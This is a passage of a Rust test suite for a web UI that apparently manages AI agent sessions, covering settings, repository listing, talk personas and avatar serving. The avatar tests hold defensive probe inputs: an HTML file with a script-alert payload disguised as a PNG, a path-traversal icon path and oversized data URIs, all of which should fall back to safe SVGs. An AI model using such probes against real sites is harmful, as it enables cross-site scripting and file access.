10323 assert!(v["error"].is_null(), "{v}");
10324 assert_eq!(v["repositories"], default["repositories"]);
10325 let role = |key: &str| {
10326 v["roles"]
10327 .as_array()
10328 .unwrap()
10329 .iter()
10330 .find(|r| r["key"] == key)
10331 .unwrap()
10332 };
10333 assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
10334 assert_eq!(role("advisors")["source"], "repo");
10335 assert_eq!(role("advisors")["editable"], false);
10336 assert!(role("advisors")["machine_value"].is_null());
10337 assert_eq!(role("judges")["count"]["value"], 2);
10338 assert_eq!(role("judges")["count"]["machine_value"], 1);
10339 assert_eq!(role("judges")["count"]["source"], "repo");
10340 let source = role("judges")["count"]["source_path"].as_str().unwrap();
10341 assert!(
10342 source.contains("origin/main") && !source.contains("magi/config/"),
10343 "{source}"
10344 );
10345 assert_eq!(
10346 role("reviewers")["editable"],
10347 false,
10348 "default context outside roots must protect its declarations"
10349 );
10350 let body =
10351 serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
10352 let unknown = format!("?repo={}", tmp.path().display());
10353 assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
10354 assert_eq!(
10355 f.put(&format!("/api/settings/roles{unknown}"), &body)
10356 .await
10357 .status,
10358 422
10359 );
10360 assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
10361 let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
10362 .to_string();
10363 assert_eq!(
10364 f.put(&format!("/api/settings/roles{query}"), &refuse)
10365 .await
10366 .status,
10367 422
10368 );
10369 let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
10370 assert_eq!(saved.status, 200, "{}", saved.body);
10371 assert_eq!(saved.json()["repo"], v["repo"]);
10372 assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
10373 assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
10374 for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
10375 assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
10376 }
10377 let error = f
10378 .get(&format!("/api/settings?repo={}", broken.display()))
10379 .await;
10380 assert_eq!(error.status, 200);
10381 assert!(error.json()["error"]["message"].is_string());
10382 assert_eq!(error.json()["repositories"], default["repositories"]);
10383 }
10384
10385 #[tokio::test]
10386 async fn settings_get_reports_sources_and_the_advisors_fallback() {
10387 let (_tmp, repo, machine) =
10388 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
10389 let f = Fixture::with_repo_and_machine(repo, machine).await;
10390 let res = f.get("/api/settings").await;
10391 assert_eq!(res.status, 200, "{}", res.body);
10392 let v = res.json();
10393 assert!(v["error"].is_null(), "{v}");
10394 let role = |k: &str| {
10395 v["roles"]
10396 .as_array()
10397 .and_then(|r| r.iter().find(|x| x["key"] == k))
10398 .cloned()
10399 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10400 };
10401 assert_eq!(role("judges")["source"], "machine");
10402 assert_eq!(role("judges")["editable"], true);
10403 assert_eq!(role("implementers")["source"], "default");
10404 let adv = role("advisors");
10405 assert_eq!(adv["fallback"], "judges");
10406 assert!(
10407 adv["seats"]
10408 .as_array()
10409 .is_some_and(|s| s.iter().all(|x| x == "b")),
10410 "{adv}"
10411 );
10412 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
10413 assert_eq!(v["agents"][0]["source"], "repo");
10414 }
10415
10416 #[tokio::test]
10417 async fn settings_get_reports_a_config_that_does_not_parse() {
10418 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
10419 let f = Fixture::with_repo_and_machine(repo, machine).await;
10420 let res = f.get("/api/settings").await;
10421 assert_eq!(res.status, 200, "{}", res.body);
10422 let v = res.json();
10423 assert!(v["error"]["message"].is_string(), "{v}");
10424 assert!(
10425 v["error"]["path"]
10426 .as_str()
10427 .is_some_and(|p| p.ends_with("magi.toml")),
10428 "{v}"
10429 );
10430 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
10431 }
10432
10433 #[tokio::test]
10434 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
10435 let (_tmp, repo, machine) = settings_dirs(
10436 SETTINGS_AGENTS,
10437 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
10438 );
10439 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
10440 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
10441 let rev = f.get("/api/settings").await.json()["revision"]
10442 .as_str()
10443 .expect("revision")
10444 .to_owned();
10445 let body = serde_json::json!({
10446 "revision": rev,
10447 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
10448 })
10449 .to_string();
10450 let res = f.put("/api/settings/roles", &body).await;
10451 assert_eq!(res.status, 200, "{}", res.body);
10452 let text = std::fs::read_to_string(&machine).expect("machine");
10453 assert_eq!(
10454 text,
10455 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
10456 );
10457 assert_eq!(
10458 std::fs::read(repo.join("magi.toml")).expect("read"),
10459 repo_before
10460 );
10461 let again = f.get("/api/settings").await.json();
10462 let judges = again["roles"]
10463 .as_array()
10464 .expect("roles")
10465 .iter()
10466 .find(|r| r["key"] == "judges")
10467 .expect("judges")
10468 .clone();
10469 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
10470 let stale = f.put("/api/settings/roles", &body).await;
10472 assert_eq!(stale.status, 409, "{}", stale.body);
10473 }
10474
10475 #[tokio::test]
10476 async fn settings_counts_are_reported_and_saved() {
10477 let (_tmp, repo, machine) = settings_dirs(
10478 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
10479 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
10480 );
10481 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10482 let v = f.get("/api/settings").await.json();
10483 let count = |v: &serde_json::Value, k: &str| {
10484 v["roles"]
10485 .as_array()
10486 .and_then(|r| r.iter().find(|x| x["key"] == k))
10487 .map(|x| x["count"].clone())
10488 .unwrap_or_else(|| panic!("no role {k}: {v}"))
10489 };
10490 let imp = count(&v, "implementers");
10491 assert_eq!(imp["value"], 2);
10492 assert_eq!(imp["source"], "machine");
10493 assert_eq!(imp["file_key"], "candidates");
10494 assert_eq!(imp["roster_len"], 2);
10495 assert_eq!(imp["backups"], 0);
10496 assert_eq!(count(&v, "judges")["source"], "default");
10497 assert_eq!(count(&v, "advisors")["min"], 0);
10498 assert_eq!(count(&v, "reviewers")["editable"], false);
10499 assert!(
10500 count(&v, "reviewers")["locked_reason"]
10501 .as_str()
10502 .is_some_and(|m| m.contains("graph.reviewers"))
10503 );
10504 assert!(count(&v, "fixer").is_null());
10505 let rev = v["revision"].as_str().expect("revision").to_owned();
10506 let body = serde_json::json!({
10507 "revision": rev,
10508 "roles": { "judges": ["b"] },
10509 "counts": { "implementers": 1, "advisors": 0 }
10510 })
10511 .to_string();
10512 let res = f.put("/api/settings/roles", &body).await;
10513 assert_eq!(res.status, 200, "{}", res.body);
10514 let text = std::fs::read_to_string(&machine).expect("machine");
10515 assert_eq!(
10516 text,
10517 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
10518 );
10519 let after = f.get("/api/settings").await.json();
10520 assert_eq!(count(&after, "implementers")["value"], 1);
10521 assert_eq!(count(&after, "implementers")["backups"], 1);
10522 assert_eq!(count(&after, "advisors")["value"], 0);
10523 let before = std::fs::read_to_string(&machine).expect("machine");
10524 let rev = after["revision"].as_str().expect("revision").to_owned();
10525 for counts in [
10526 serde_json::json!({ "judges": 0 }),
10527 serde_json::json!({ "judges": "x" }),
10528 serde_json::json!({ "judges": 2.5 }),
10529 serde_json::json!({ "judges": -1 }),
10530 serde_json::json!({ "reviewers": 3 }),
10531 serde_json::json!({ "bogus": 3 }),
10532 ] {
10533 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
10534 let res = f.put("/api/settings/roles", &body).await;
10535 assert_eq!(res.status, 422, "{counts}: {}", res.body);
10536 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
10537 }
10538 }
10539
10540 #[tokio::test]
10541 async fn settings_put_refuses_without_touching_the_file() {
10542 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
10543 let (_tmp, repo, machine) = settings_dirs(
10544 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
10545 Some(machine_text),
10546 );
10547 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
10548 let rev = f.get("/api/settings").await.json()["revision"]
10549 .as_str()
10550 .expect("revision")
10551 .to_owned();
10552 for roles in [
10553 serde_json::json!({ "judges": ["nope"] }),
10554 serde_json::json!({ "reviewers": ["b"] }),
10555 serde_json::json!({ "bogus": ["a"] }),
10556 ] {
10557 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
10558 let res = f.put("/api/settings/roles", &body).await;
10559 assert_eq!(res.status, 422, "{roles}: {}", res.body);
10560 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
10561 assert_eq!(
10562 std::fs::read_to_string(&machine).expect("machine"),
10563 machine_text
10564 );
10565 }
10566 }
10567
10568 #[tokio::test]
10569 async fn repos_list_returns_name_and_path_for_every_configured_root() {
10570 let tmp = TempDir::new().expect("tempdir");
10571 let repo = tmp.path().join("repo");
10572 std::fs::create_dir_all(&repo).expect("repo dir");
10573 let root = tmp.path().join("root");
10574 make_checkout(&root, "github.com", "yukimemi", "magi");
10575 std::fs::write(
10576 repo.join("magi.toml"),
10577 format!(
10578 "[repos]\nroots = [{:?}]\n",
10579 root.to_string_lossy().into_owned()
10580 ),
10581 )
10582 .expect("write magi.toml");
10583
10584 let f = Fixture::with_repo(repo).await;
10585 let res = f.get("/api/repos").await;
10586 assert_eq!(res.status, 200, "{}", res.body);
10587 let list = res.json();
10588 let repos = list.as_array().expect("an array");
10589 assert_eq!(repos.len(), 1);
10590 assert_eq!(repos[0]["name"], "yukimemi/magi");
10591 assert!(
10592 repos[0]["path"]
10593 .as_str()
10594 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
10595 "{list}"
10596 );
10597 }
10598
10599 #[tokio::test]
10600 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
10601 let tmp = TempDir::new().expect("tempdir");
10602 let repo = tmp.path().join("repo");
10603 std::fs::create_dir_all(&repo).expect("repo dir");
10604 let root = tmp.path().join("root");
10605 make_checkout(&root, "github.com", "yukimemi", "magi");
10606 std::fs::write(
10607 repo.join("magi.toml"),
10608 format!(
10609 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
10610 root.to_string_lossy().into_owned()
10611 ),
10612 )
10613 .expect("write magi.toml");
10614
10615 let f = Fixture::with_repo(repo).await;
10616 let first = f.get("/api/repos").await;
10617 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
10618
10619 make_checkout(&root, "github.com", "yukimemi", "rvpm");
10622 let second = f.get("/api/repos").await;
10623 assert_eq!(
10624 second.json().as_array().map(Vec::len),
10625 Some(1),
10626 "a fresh cache must not rescan inside the TTL"
10627 );
10628
10629 let refreshed = f.get("/api/repos?refresh=1").await;
10630 assert_eq!(
10631 refreshed.json().as_array().map(Vec::len),
10632 Some(2),
10633 "an explicit refresh must rescan even inside the TTL"
10634 );
10635 }
10636
10637 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
10643
10644 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
10648 let tmp = TempDir::new().expect("tempdir");
10649 let repo = tmp.path().join("repo");
10650 std::fs::create_dir_all(&repo).expect("repo dir");
10651 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10652 let f = Fixture::with_repo(repo.clone()).await;
10653 (tmp, repo, f)
10654 }
10655
10656 #[tokio::test]
10657 async fn posting_a_talk_with_remembered_choices_is_soft() {
10658 let (_tmp, _repo, f) = talk_fixture().await;
10659
10660 let good = f
10661 .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
10662 .await;
10663 assert_eq!(good.status, 201, "{}", good.body);
10664 assert_eq!(good.json()["persona"], "rei");
10665
10666 let stale = f
10668 .post(
10669 "/api/talks",
10670 Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
10671 )
10672 .await;
10673 assert_eq!(stale.status, 201, "{}", stale.body);
10674 let v = stale.json();
10675 assert_eq!(v["implementers"], 1);
10676 assert_ne!(v["persona"], "nobody");
10677 let typed = f
10678 .post(
10679 "/api/talks",
10680 Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
10681 )
10682 .await;
10683 assert_eq!(typed.status, 201, "{}", typed.body);
10684
10685 let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
10687 assert!(
10688 !strict.status.to_string().starts_with('2'),
10689 "{}",
10690 strict.body
10691 );
10692 }
10693
10694 #[tokio::test]
10695 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
10696 let (_tmp, _repo, f) = talk_fixture().await;
10697
10698 let opened = f.post("/api/talks", None).await;
10701 assert_eq!(opened.status, 201, "{}", opened.body);
10702 let body = opened.json();
10703 assert_eq!(body["status"], "open");
10704 assert_eq!(
10705 body["turns"].as_array().unwrap().len(),
10706 0,
10707 "opening takes no agent turn: there is nothing yet to answer"
10708 );
10709
10710 let also_opened = f.post("/api/talks", Some("{}")).await;
10712 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
10713
10714 let listed = f.get("/api/talks").await.json();
10715 assert_eq!(listed.as_array().unwrap().len(), 2);
10716 }
10717
10718 #[tokio::test]
10719 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
10720 let tmp = TempDir::new().expect("tempdir");
10721 let repo = tmp.path().join("repo");
10722 std::fs::create_dir_all(&repo).expect("repo dir");
10723 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
10724 std::fs::write(
10725 repo.join("magi.toml"),
10726 format!("{MOCK_AGENT_TOML}\n{second}"),
10727 )
10728 .expect("write magi.toml");
10729 let home = TempDir::new().expect("temp home");
10730 let talks = Talks::at(home.path().join("talks"));
10731 let ui = Arc::new(
10732 Ui::new(
10733 Queue::at(home.path().join("queue")),
10734 Questions::at(home.path().join("questions")),
10735 talks.clone(),
10736 home.path().join("runs"),
10737 home.path().to_path_buf(),
10738 repo.clone(),
10739 )
10740 .with_worktrees_root(home.path().join("wt")),
10741 );
10742 let cfg = config_for(&repo).await.expect("discover config");
10743 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10744 let id = talk.id.clone();
10745 let call = |agent: &str| {
10746 talk_agent(
10747 State(Arc::clone(&ui)),
10748 Path(id.clone()),
10749 Json(TalkAgent {
10750 agent: agent.to_owned(),
10751 }),
10752 )
10753 };
10754
10755 let unknown = call("nobody").await.expect_err("unknown agent");
10756 assert_eq!(
10757 unknown.status,
10758 StatusCode::BAD_REQUEST,
10759 "{}",
10760 unknown.message
10761 );
10762
10763 {
10764 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10767 let busy = call("second").await.expect_err("busy talk");
10768 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10769 assert!(
10770 busy.message.contains("a talk turn is running"),
10771 "{}",
10772 busy.message
10773 );
10774 drop(guard);
10775 }
10776 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
10777
10778 let Json(view) = call("second").await.expect("switch");
10779 assert_eq!(view.talk.agent, "second");
10780 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
10781 let saved = talks.get(&id).expect("reload");
10782 assert_eq!(saved.agent, "second");
10783 assert_eq!(saved.turns.len(), 1);
10784 assert!(!view.thinking);
10785 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10786 for agent in ["mock", "second"] {
10787 let Json(view) = call(agent).await.expect("immediate consecutive change");
10788 assert_eq!(view.talk.agent, agent);
10789 assert!(!view.thinking);
10790 assert!(!ui.is_thinking(&id));
10791 }
10792
10793 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
10794 .await
10795 .expect("detail");
10796 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
10797 assert_eq!(roster, ["mock", "second"]);
10798
10799 let mut closed = talks.get(&id).expect("reload");
10800 talk::close(&mut closed, &talks).expect("close");
10801 let refused = call("mock").await.expect_err("closed talk");
10802 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
10803 assert!(
10804 refused.message.contains("takes no more turns"),
10805 "{}",
10806 refused.message
10807 );
10808 }
10809
10810 #[tokio::test]
10811 async fn talk_implementers_validates_and_refuses_busy_or_closed() {
10812 let tmp = TempDir::new().expect("tempdir");
10813 let repo = tmp.path().join("repo");
10814 std::fs::create_dir_all(&repo).expect("repo dir");
10815 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
10816 let home = TempDir::new().expect("temp home");
10817 let talks = Talks::at(home.path().join("talks"));
10818 let ui = Arc::new(
10819 Ui::new(
10820 Queue::at(home.path().join("queue")),
10821 Questions::at(home.path().join("questions")),
10822 talks.clone(),
10823 home.path().join("runs"),
10824 home.path().to_path_buf(),
10825 repo.clone(),
10826 )
10827 .with_worktrees_root(home.path().join("wt")),
10828 );
10829 let cfg = config_for(&repo).await.expect("discover config");
10830 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10831 let id = talk.id.clone();
10832 let call = |n: u8| {
10833 talk_implementers(
10834 State(Arc::clone(&ui)),
10835 Path(id.clone()),
10836 Json(TalkImplementers { implementers: n }),
10837 )
10838 };
10839
10840 for bad in [0u8, 4] {
10841 let e = call(bad).await.expect_err("out of range");
10842 assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
10843 }
10844 assert_eq!(talks.get(&id).expect("reload").implementers, 1);
10845
10846 {
10847 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
10850 let busy = call(2).await.expect_err("busy talk");
10851 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
10852 assert!(
10853 busy.message.contains("a talk turn is running"),
10854 "{}",
10855 busy.message
10856 );
10857 drop(guard);
10858 }
10859
10860 let Json(view) = call(3).await.expect("switch");
10861 assert_eq!(view.talk.implementers, 3);
10862 assert!(talks.get(&id).expect("reload").implementers_dirty);
10863 assert!(!view.thinking);
10864 assert!(!ui.is_thinking(&id), "idle response must release the claim");
10865 for n in [1, 2, 3] {
10866 let Json(view) = call(n).await.expect("immediate consecutive change");
10867 assert_eq!(view.talk.implementers, n);
10868 assert!(!view.thinking);
10869 assert!(!ui.is_thinking(&id));
10870 }
10871
10872 let mut closed = talks.get(&id).expect("reload");
10873 talk::close(&mut closed, &talks).expect("close");
10874 let e = call(2).await.expect_err("closed talk");
10875 assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
10876 assert!(e.message.contains("takes no more turns"), "{}", e.message);
10877 }
10878
10879 async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
10881 let tmp = TempDir::new().expect("tempdir");
10882 let repo = tmp.path().join("repo");
10883 std::fs::create_dir_all(&repo).expect("repo dir");
10884 std::fs::write(
10885 repo.join("magi.toml"),
10886 format!("{MOCK_AGENT_TOML}\n{extra}"),
10887 )
10888 .expect("write magi.toml");
10889 let home = TempDir::new().expect("temp home");
10890 let talks = Talks::at(home.path().join("talks"));
10891 let ui = Arc::new(
10892 Ui::new(
10893 Queue::at(home.path().join("queue")),
10894 Questions::at(home.path().join("questions")),
10895 talks.clone(),
10896 home.path().join("runs"),
10897 home.path().to_path_buf(),
10898 repo.clone(),
10899 )
10900 .with_worktrees_root(home.path().join("wt")),
10901 );
10902 let cfg = config_for(&repo).await.expect("discover config");
10903 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
10904 (tmp, home, ui, talk.id, repo)
10905 }
10906
10907 async fn avatar(
10909 ui: &Arc<Ui>,
10910 id: &str,
10911 persona: Option<&str>,
10912 builtin: bool,
10913 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
10914 let res = talk_avatar(
10915 State(Arc::clone(ui)),
10916 Path(id.to_owned()),
10917 Query(AvatarQuery {
10918 persona: persona.map(str::to_owned),
10919 builtin: builtin.then(|| "1".to_owned()),
10920 }),
10921 )
10922 .await
10923 .expect("an avatar is never an error response");
10924 let h = res.headers();
10925 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
10926 let nosniff = h
10927 .get(header::X_CONTENT_TYPE_OPTIONS)
10928 .is_some_and(|v| v == "nosniff");
10929 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
10930 let status = res.status();
10931 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10932 .await
10933 .expect("body")
10934 .to_vec();
10935 (status, ct, nosniff, csp, body)
10936 }
10937
10938 fn tiny_png() -> Vec<u8> {
10939 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
10940 b.extend_from_slice(&[0u8; 32]);
10941 b
10942 }
10943
10944 #[tokio::test]
10945 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
10946 let res = operator_avatar().await;
10947 assert_eq!(res.status(), StatusCode::OK);
10948 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
10949 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
10950 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
10951 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
10952 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
10953 .await
10954 .unwrap();
10955 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
10956 assert_ne!(
10957 persona_icon::operator_svg(),
10958 persona_icon::builtin_svg("default")
10959 );
10960 }
10961
10962 #[tokio::test]
10963 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
10964 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
10965 for p in [
10966 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
10967 ] {
10968 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
10969 assert_eq!(status, StatusCode::OK, "{p}");
10970 assert_eq!(ct, "image/svg+xml", "{p}");
10971 assert!(nosniff && csp, "{p}");
10972 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
10973 }
10974 let own = avatar(&ui, &id, None, false).await;
10976 let default = avatar(&ui, &id, Some("default"), false).await;
10977 assert_eq!(own.4, default.4);
10978 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
10979 assert_eq!(unknown.1, "image/svg+xml");
10980 }
10981
10982 #[tokio::test]
10983 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
10984 let dir = TempDir::new().expect("icons");
10985 let good = dir.path().join("good.png");
10986 std::fs::write(&good, tiny_png()).unwrap();
10987 let spoof = dir.path().join("spoof.png");
10988 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
10989 let big = dir.path().join("big.png");
10990 let mut bytes = tiny_png();
10991 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
10992 std::fs::write(&big, bytes).unwrap();
10993 let missing = dir.path().join("missing.png");
10994 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
10995 let extra = format!(
10996 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
10997 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
10998 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
10999 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
11000 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
11001 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
11002 uri(&good),
11003 uri(&spoof),
11004 uri(&big),
11005 uri(&missing),
11006 );
11007 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11008
11009 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
11010 assert_eq!(
11011 (status, ct.as_str(), nosniff),
11012 (StatusCode::OK, "image/png", true)
11013 );
11014 assert_eq!(body, tiny_png());
11015 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
11016 assert_eq!(ct, "image/png", "data URI");
11017
11018 for p in ["misato", "asuka", "shinji", "magi"] {
11019 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
11020 assert_eq!(
11021 (status, ct.as_str(), csp),
11022 (StatusCode::OK, "image/svg+xml", true),
11023 "{p}"
11024 );
11025 assert!(body.starts_with(b"<svg"), "{p}");
11026 }
11027 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
11029 assert_eq!(ct, "image/svg+xml");
11030 }
11031
11032 #[tokio::test]
11033 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
11034 let oversized = format!(
11035 "data:image/png;base64,{}",
11036 "A".repeat(persona_icon::ICON_MAX_BYTES)
11037 );
11038 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
11039 let extra = format!(
11040 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
11041 );
11042 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
11043 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11044 .await
11045 .expect("detail with invalid icon");
11046 assert!(detail.personas.iter().any(|p| p.id == "custom"));
11047 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
11048 assert_eq!(status, StatusCode::OK);
11049 assert_eq!(ct, "image/svg+xml");
11050 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
11051 let Json(view) = talk_persona(
11052 State(Arc::clone(&ui)),
11053 Path(id.clone()),
11054 Json(TalkPersona {
11055 persona: "custom".into(),
11056 }),
11057 )
11058 .await
11059 .expect("persona switch with invalid icon");
11060 assert_eq!(view.talk.persona, "custom");
11061 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
11062 }
11063 }
11064
11065 #[tokio::test]
11066 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
11067 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11068 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
11069 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
11070 assert_eq!(
11071 (status, ct.as_str(), nosniff, csp),
11072 (StatusCode::OK, "image/svg+xml", true, true)
11073 );
11074 }
11075
11076 #[tokio::test]
11077 async fn the_talk_view_carries_server_built_avatar_urls_only() {
11078 let (_t, _h, ui, id, _repo) =
11079 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
11080 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
11081 .await
11082 .expect("detail");
11083 let json = serde_json::to_string(&detail).unwrap();
11084 assert!(
11085 !json.contains("secret"),
11086 "the icon setting must not leak: {json}"
11087 );
11088 assert!(
11089 detail
11090 .view
11091 .persona_avatar
11092 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
11093 );
11094 assert_eq!(
11095 detail.view.operator_avatar,
11096 format!(
11097 "/avatars/operator.svg?v={}",
11098 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
11099 )
11100 );
11101 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
11102 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
11103 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
11104 assert!(rei.avatar.contains("persona=rei&v="));
11105 assert_ne!(
11106 rei.avatar.split("&v=").nth(1),
11107 plain.avatar.split("&v=").nth(1)
11108 );
11109 }
11110
11111 #[tokio::test]
11112 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
11113 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
11114 let cfg = config_for(&repo).await.unwrap();
11115 for arrived in [false, true] {
11116 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
11117 let observed = ui.queued_generation(&id);
11118 let talk = ui.talks.get(&id).unwrap();
11119 if arrived {
11120 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
11121 }
11122 let mut settling = std::pin::pin!(settle_settings_turn(
11123 talk,
11124 ui.talks.clone(),
11125 cfg.clone(),
11126 id.clone(),
11127 turn,
11128 observed
11129 ));
11130 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
11131 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
11132 assert_eq!(first.is_pending(), arrived);
11133 if arrived {
11134 assert!(!settling.await);
11135 }
11136 assert!(!ui.is_thinking(&id));
11137 }
11138 }
11139
11140 #[tokio::test]
11141 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
11142 let tmp = TempDir::new().expect("tempdir");
11143 let repo = tmp.path().join("repo");
11144 std::fs::create_dir_all(&repo).expect("repo dir");
11145 std::fs::write(
11146 repo.join("magi.toml"),
11147 format!(
11148 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
11149 ),
11150 )
11151 .expect("write magi.toml");
